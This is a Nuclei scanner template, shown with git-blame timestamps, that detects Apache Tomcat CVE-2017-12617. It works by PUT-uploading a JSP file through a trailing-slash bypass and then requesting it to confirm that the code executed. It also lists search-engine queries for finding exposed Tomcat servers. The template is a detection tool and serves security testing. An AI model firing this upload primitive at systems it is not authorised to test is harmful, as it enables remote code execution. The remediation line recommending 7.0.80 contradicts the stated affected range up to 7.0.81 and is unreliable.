nuclei-templates/http/cves/2017/CVE-2017-12617.yaml

64 lines
2.3 KiB
YAML
Raw Permalink Normal View History

2024-03-14 05:10:43 +00:00
id: CVE-2017-12617
2023-06-15 08:45:00 +00:00
info:
name: Apache Tomcat - Remote Code Execution
author: pussycat0x
severity: high
description: |
When running Apache Tomcat versions 9.0.0.M1 to 9.0.0, 8.5.0 to 8.5.22, 8.0.0.RC1 to 8.0.46 and 7.0.0 to 7.0.81 with HTTP PUTs enabled (e.g. via setting the readonly initialisation parameter of the Default servlet to false) it was possible to upload a JSP file to the server via a specially crafted request. This JSP could then be requested and any code it contained would be executed by the server.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the affected server.
2023-09-06 13:22:34 +00:00
remediation: |
Upgrade to Apache Tomcat version 7.0.80 or later to mitigate this vulnerability.
2023-06-15 08:45:00 +00:00
reference:
- https://versa-networks.com/blog/apache-tomcat-remote-code-execution-vulnerability-cve-2017-12617/
- https://github.com/cyberheartmi9/CVE-2017-12617
2023-06-15 09:50:26 +00:00
- https://www.exploit-db.com/exploits/43008
- https://nvd.nist.gov/vuln/detail/CVE-2017-12617
2023-07-11 19:49:27 +00:00
- http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html
2023-06-15 09:50:26 +00:00
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
2023-07-11 19:49:27 +00:00
cvss-score: 8.1
cve-id: "CVE-2017-12617"
2023-06-15 09:50:26 +00:00
cwe-id: CWE-434
epss-score: 0.97533
epss-percentile: 0.99992
2023-09-06 13:22:34 +00:00
cpe: cpe:2.3:a:apache:tomcat:7.0.0:*:*:*:*:*:*:*
2023-06-15 08:45:00 +00:00
metadata:
verified: "true"
2023-06-15 09:48:32 +00:00
max-request: 2
2023-07-11 19:49:27 +00:00
vendor: apache
product: tomcat
shodan-query:
- html:"Apache Tomcat"
- http.title:"apache tomcat"
- http.html:"apache tomcat"
- cpe:"cpe:2.3:a:apache:tomcat"
fofa-query:
- body="apache tomcat"
- title="apache tomcat"
2024-05-31 19:23:20 +00:00
google-query: intitle:"apache tomcat"
2024-01-14 09:21:50 +00:00
tags: cve2017,cve,tomcat,apache,rce,kev,intrusive
2023-06-15 08:45:00 +00:00
http:
- raw:
- |
2023-06-15 10:26:22 +00:00
PUT /{{randstr}}.jsp/ HTTP/1.1
2023-06-15 08:45:00 +00:00
Host: {{Hostname}}
<% out.println("CVE-2017-12617");%>
- |
GET /{{randstr}}.jsp HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- "CVE-2017-12617"
- type: status
status:
2023-06-15 09:48:32 +00:00
- 200
# digest: 4a0a0047304502200df5d0031dfadf13a1849f2d0c1bb5de3762ceef25bad786d5ddfc3668d41fe8022100d143a6b17d505e9d49d36c4d42d0ef08f67cbf0dcfdf8f977a34b7f7f5d4fe23:922c64590222798bb761d5b6d8e72950